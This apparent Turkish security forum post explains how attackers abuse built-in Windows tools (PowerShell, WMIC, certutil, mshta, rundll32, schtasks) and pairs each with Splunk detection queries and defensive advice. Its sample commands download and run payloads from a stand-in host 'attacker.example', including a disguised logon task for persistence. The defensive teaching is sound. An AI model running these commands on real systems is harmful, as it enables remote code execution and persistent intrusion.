#STHM-Yerleşik Sistem Araçlarıyla Yapılan Saldırılar

• PowerShell: Bellek içi betik oluşturma, uzaktan indirme ve otomasyon için kullanılır.
• WMIC veya PowerShell: Komutları yerel veya uzak konaklarda çalıştırmak ve sistem durumunu sorgulamak için kullanılır.
• Certutil: Dosya getirmek ve yükleri (payload) kodlamak veya kodunu çözmek için kullanılır.
• Mshta: Bir belge veya bağlantı tarafından iletilen satır içi betikleri veya HTML içeriklerini çalıştırmak için kullanılır.
• Rundll32: DLL dışa aktarımlarını çağırmak veya URL işleyicilerini tetiklemek için kullanılır.
• Zamanlanmış Görevler (schtasks): Kalıcılık sağlamak amacıyla oturum açma sırasında veya bir programa bağlı olarak kod çalıştırmak için kullanılır.

• Uç nokta, ağ ve kimlik korumalarını birleştiren katmanlı savunma kontrolleri uygulayın.
• Hangi betiklerin ve yürütülebilir dosyaların çalışmasına izin verildiğini tanımlamak için AppLocker veya Windows Defender Application Control (WDAC) gibi uygulama kontrol politikalarını devreye alın.
• Sistem yönetim yardımcı programlarına yalnızca yöneticilerin erişebilmesini sağlayarak en az yetki prensibini (least privilege) uygulayın/kullanın.
• Kötü niyetli faaliyetlerle bilinen alan adlarına ve içeriklere giden bağlantıları engellemek veya yeniden yönlendirmek için ağ kurallarını ve içerik filtrelerini yapılandırın.
• Ele geçirilmiş sistemleri izole etmek ve açığa çıkan kimlik bilgilerini iptal etmek için adımları ana hatlarıyla belirten net kapsama (containment) oyun kitapları (playbooks) bulundurun.
• Yeni saldırı yöntemlerine uyum sağlamak için erişim izinlerini, günlük kapsamını ve kontrol listelerini düzenli olarak gözden geçirin ve güncelleyin.

PS C:\> powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object System.Net.WebClient).DownloadString('http://attacker.example/payload.ps1')"
PS C:\> powershell -NoP -NonI -W Hidden -EncodedCommand SQBn...Base64...
PS C:\> powershell -NoP -NonI -Command "Invoke-WebRequest 'http://attacker.example/file.exe' -OutFile 'C:\Users\Public\updater.exe'; Start-Process 'C:\Users\Public\updater.exe'"

ndex=wineventlog OR index=sysmon (EventCode=4688 OR EventCode=1 OR EventCode=4104)
(CommandLine="*powershell*IEX*" OR CommandLine="*powershell*-EncodedCommand*" OR
CommandLine="*powershell*-Exec Bypass*" OR CommandLine="*Invoke-WebRequest*" OR
CommandLine="*DownloadString*" OR CommandLine="*Invoke-RestMethod*")
| stats count values(Host) as hosts values(User) as users values(ParentImage) as parents by CommandLine

Sorgunun Açıklaması ve Analizi​

• Veri Kaynakları (index): Sorgu, hem standart Windows Olay Günlüklerini (wineventlog) hem de daha gelişmiş görünürlük sağlayan sysmon günlüklerini tarar.
• Olay Kimlikleri (EventCode):
  
  • 4688: Windows Güvenlik günlüğündeki "Yeni Süreç Oluşturma" (Process Creation) olayıdır.
  • 1: Sysmon üzerindeki "Süreç Oluşturma" (Process Creation) olayıdır; komut satırı argümanlarını detaylıca sunar.
  • 4104: PowerShell "Betik Bloğu Günlüğü" (Script Block Logging) olayıdır. PowerShell kodunun (gizlenmiş/şifrelenmiş olsa bile) yürütülmeden hemen önceki tam halini yakalar.
• Arama Kriterleri (CommandLine): Yaygın olarak kötüye kullanılan tehlikeli PowerShell parametrelerini ve komutçuklarını (cmdlet) filtreler:
  
  • IEX (Invoke-Expression) ve DownloadString: Uzak sunucudan belleğe kod indirip çalıştırmak için kullanılır.
  • -EncodedCommand: Base64 ile gizlenmiş komutları yakalar.
  • -Exec Bypass: PowerShell yürütme politikasını (Execution Policy) devre dışı bırakmak için kullanılır.
  • Invoke-WebRequest ve Invoke-RestMethod: Ağ üzerinden dosya veya veri transferi yapmak için kullanılan komutlardır.
• İstatistiki Özet (stats): Tespit edilen şüpheli komut satırlarını; kaç kez çalıştırıldığı (count), hangi bilgisayarlarda görüldüğü (hosts), hangi kullanıcılar tarafından tetiklendiği (users) ve bu PowerShell sürecini başlatan ana süreçlerin neler olduğu (parents) bilgilerine göre gruplandırarak savunmacıların incelemesini kolaylaştırır.

PS C:\> wmic /node:TARGETHOST process call create "powershell -NoP -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.example/payload.ps1')"
PS C:\> wmic /node:TARGETHOST process get name,commandline
PS C:\> wmic process call create "notepad.exe" /hidden

index=sysmon OR index=wineventlog (EventCode=1 OR EventCode=4688)
(CommandLine="*\\wmic.exe*process call create*" OR
CommandLine="*wmic /node:* process call create*" OR
CommandLine="*wmic*process get Name,CommandLine*")
| stats count values(Host) as hosts values(User) as users values(ParentImage) as parents by CommandLine

Sorgunun Açıklaması ve Analizi(Splunk)​

• Olay Kodları: Süreç oluşturma olaylarını takip etmek için Sysmon (EventCode 1) ve Windows Güvenlik günlükleri (EventCode 4688) taranır.
• Kritik Komut Kalıpları:
  
  • process call create: Yerel sistemde yeni ve potansiyel olarak gizli bir süreç başlatma girişimlerini yakalar.
  • /node:* process call create: WMIC'nin en tehlikeli kullanım şekillerinden biridir; uzak bir bilgisayarda (/node) komut çalıştırmak (yanal hareket) için kullanılır.
  • process get Name,CommandLine: Saldırganın sistemde hangi yazılımların çalıştığını ve bunların hangi parametrelerle yürütüldüğünü anlamaya çalıştığı keşif (reconnaissance) aşamasını tespit eder.
• Raporlama: stats komutu ile şüpheli komutun hangi kullanıcılar tarafından, hangi ana süreçler (parent image) aracılığıyla ve kaç farklı makinede çalıştırıldığı özetlenerek analiz hızı artırılır.

Certutil​

PS C:\> certutil -urlcache -split -f "http://attacker.example/payload.exe" C:\Users\Public\payload.exe
PS C:\> certutil -decode C:\Users\Public\encoded.b64 C:\Users\Public\decoded.exe
PS C:\> certutil -encode C:\Users\Public\payload.exe C:\Users\Public\payload.b64

index=sysmon OR index=wineventlog (EventCode=1 OR EventCode=4688 OR EventCode=4663)
(Image="*\\certutil.exe" OR CommandLine="*certutil*")
(CommandLine="* -urlcache * -f *" OR CommandLine="* -decode *" OR CommandLine="* -encode *")
| stats count values(Host) as hosts values(User) as users values(ParentImage) as parents by CommandLine

Sorgunun Açıklaması ve Analizi(Splunk)​

• Olay Kodları: Süreç oluşturma olaylarına (1 ve 4688) ek olarak, dosya sistemi nesnelerine erişimi izleyen 4663 olay kodu da dahil edilmiştir. Bu, certutil'in bir dosyayı diske yazma veya okuma eylemini takip etmeyi sağlar.
• Kritik Komut Kalıpları:
  
  • -urlcache ve -f: Bu parametrelerin birlikte kullanımı, aracın internetten dosya indirmek için (genellikle bir 'downloader' gibi) kullanıldığını gösterir.
  • -decode: Base64 formatındaki bir metnin yürütülebilir bir ikili dosyaya (EXE, DLL vb.) dönüştürüldüğünü gösterir; bu, güvenlik kontrollerini atlatmak için sık başvurulan bir yöntemdir.
  • -encode: Sisteme sızmış bir saldırganın, verileri dışarı sızdırmadan önce gizlemek amacıyla metin formatına çevirdiğini işaret edebilir.
• Analiz Verisi: stats komutu sayesinde, bu işlemleri gerçekleştiren ana süreçler (ParentImage) ve hedef kullanıcılar özetlenerek, işlemin meşru bir yönetici görevi mi yoksa bir saldırı belirtisi mi olduğu daha hızlı ayırt edilebiliriz dostlarım.

PS C:\> mshta "http://attacker.example/payload.hta"
PS C:\> mshta "javascript:var s=new ActiveXObject('WScript.Shell');s.Run('powershell -NoP -NonI -W Hidden -Command "Start-Process calc.exe"');close();"
PS C:\> mshta "C:\Users\Public\malicious.hta"

index=sysmon (EventCode=1 OR EventCode=4688)
Image="*\\mshta.exe" (CommandLine="*http*://*" OR
CommandLine="*javascript:*" OR CommandLine="*.hta")
| stats count by host, user, ParentImage, CommandLine

Sorgunun Açıklaması ve Analizi(Splunk)​

• Hedef Süreç (Image): Doğrudan mshta.exe sürecinin başlatıldığı durumlar filtrelenir.
• Kritik Komut Kalıpları (CommandLine):
  
  • *http*://*: Mshta'nın internet üzerindeki uzak bir sunucudan doğrudan HTA veya betik içeriği çekip çalıştırdığını gösterir. Meşru yönetim işlerinde mshta'nın internete çıkması neredeyse hiç görülmeyen, oldukça şüpheli bir durumdur.
  • *javascript:*: Mshta'ya parametre olarak satır içi (inline) kod geçirildiğini gösterir. Saldırganların diskte dosya bırakmadan doğrudan bellekte kod yürütmek (fileless execution) için kullandığı temel yöntemlerden biridir.
  • *.hta: Yerel diskte bulunan, e-posta eki veya yanal hareketle sisteme bırakılmış bir HTML uygulamasının çalıştırıldığını tespit eder.
• Analiz Verisi (stats): Şüpheli işlemler; hangi bilgisayarda (host), hangi kullanıcı oturumunda (user), hangi üst süreç (ParentImage - örneğin bir Office uygulaması veya tarayıcı mı?) tarafından ve hangi tam komut satırıyla (CommandLine) tetiklendiğine göre gruplandırılır dostlarım.

PS C:\> rundll32.exe C:\Users\Public\backdoor.dll,Start
PS C:\> rundll32.exe url.dll,FileProtocolHandler "http://attacker.example/update.html"
PS C:\> rundll32.exe C:\Windows\Temp\loader.dll,Run

index=sysmon (EventCode=1 OR EventCode=4688 OR EventCode=7)
Image="*\\rundll32.exe" (CommandLine="*\\Users\\Public\\*" OR
CommandLine="*url.dll,FileProtocolHandler*" OR
CommandLine="*\\Windows\\Temp\\*")
| stats count by host, user, ParentImage, CommandLine

Sorgunun Açıklaması ve Analizi(Splunk)​

• Olay Kodları: Süreç oluşturma olaylarına (1 ve 4688) ek olarak, Sysmon üzerindeki "Modül Yükleme" (Image Loaded) olayı olan EventCode 7 de takibe dahil edilmiştir. Bu, rundll32 tarafından belleğe yüklenen şüpheli DLL dosyalarını yakalamak açısından kritiktir.
• Kritik Komut Kalıpları (CommandLine):
  
  • *\\Users\\Public\\* ve *\\Windows\\Temp\\*: Rundll32'nin normal şartlarda her kullanıcının yazma yetkisi olan bu geçici veya genel dizinlerden DLL çalıştırması beklenmez. Saldırganların sisteme bıraktığı zararlı DLL'leri bu konumlardan yürütme girişimleri doğrudan filtrelenir.
  • *url.dll,FileProtocolHandler*: Rundll32 aracılığıyla internet üzerindeki uzak bir adrese/içeriğe erişilmesini sağlayan ve yerleşik güvenlik kontrollerini aşmak için sıkça suistimal edilen özel bir Windows fonksiyon çağrısını yakalar.
• Analiz Verisi (stats): Tespit edilen olaylar; etkilenen makine (host), kullanıcı (user), işlemi tetikleyen ana süreç (ParentImage) ve tam komut satırına göre özetlenir. Bu sayede analist, rundll32'nin hangi meşru görünen süreç altından tetiklendiğini ve hangi DLL'i çağırdığını hızlıca inceleyebilir.

Zamanlanmış Görevler (schtasks / Görev Zamanlayıcı)​

PS C:\> schtasks /Create /SC ONLOGON /TN "WindowsUpdate" /TR "powershell -NoP -NonI -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.example/ps1')\""
PS C:\> schtasks /Create /SC DAILY /TN "DailyJob" /TR "C:\Users\Public\encrypt.ps1" /ST 00:05
PS C:\> schtasks /Run /TN "WindowsUpdate"

index=wineventlog EventCode=4698 OR EventCode=4699 OR
index=sysmon (EventCode=1 OR EventCode=4688)
(CommandLine="*schtasks* /Create*" OR CommandLine="*schtasks* /Run*" OR Image="*\\taskeng.exe" OR EventCode=4698)
| stats count by host, user, EventCode, TaskName, CommandLine

Sorgunun Açıklaması ve Analizi(Splunk)​

• Olay Kodları (Windows Güvenlik Günlükleri):
  
  • EventCode 4698: Yeni bir zamanlanmış görevin oluşturulduğunu gösterir. Saldırganların sistemde kalıcılık sağlamak için attığı adımları yakalamak adına en kritik olay kodlarından biridir.
  • EventCode 4699: Mevcut bir zamanlanmış görevin silindiğini gösterir (Saldırganlar işleri bittikten sonra izlerini temizlemek için görevi silebilir).
• Olay Kodları (Sysmon / Süreç Takibi):
  
  • EventCode 1 / 4688: schtasks.exe aracının komut satırından çalıştırılma anını yakalar.
• Kritik Filtreler ve Komut Kalıpları:
  
  • /Create: Yeni bir görevin komut satırı üzerinden planlandığını gösterir.
  • /Run: Planlanmış bir görevin zamanının gelmesini beklemeden, anında el ile tetiklendiğini işaret eder.
  • Image="*\\taskeng.exe": Zamanlanmış görevleri arka planda asıl yürüten Windows motorunu (taskeng.exe) izler. Bu sayede, planlanan görevin içeriğindeki zararlı kod çalıştırıldığı an tespit edilebilir.
• Analiz Verisi (stats): Tespit edilen olaylar; hedef makine (host), işlemi yapan kullanıcı (user), tetiklenen olay kodu (EventCode), oluşturulan görevin adı (TaskName) ve yürütülen tam komut satırı (CommandLine) bazında gruplandırılır. Bu yapı, analistin oluşturulan görevin meşru bir güncelleme mi yoksa gizli bir saldırı girişimi mi olduğunu hızla ayırt etmesini sağlar dostlarım.

CW-Ommah
Bug Researchers Tim Sundu...
​

ZahirCoder' Alıntı:

Aleyküm selam emeğine sağlık

Genişletmek için tıkla ...

CW-ommah' Alıntı:

Teşekkür ederim abim. Bu ne hız abim

Genişletmek için tıkla ...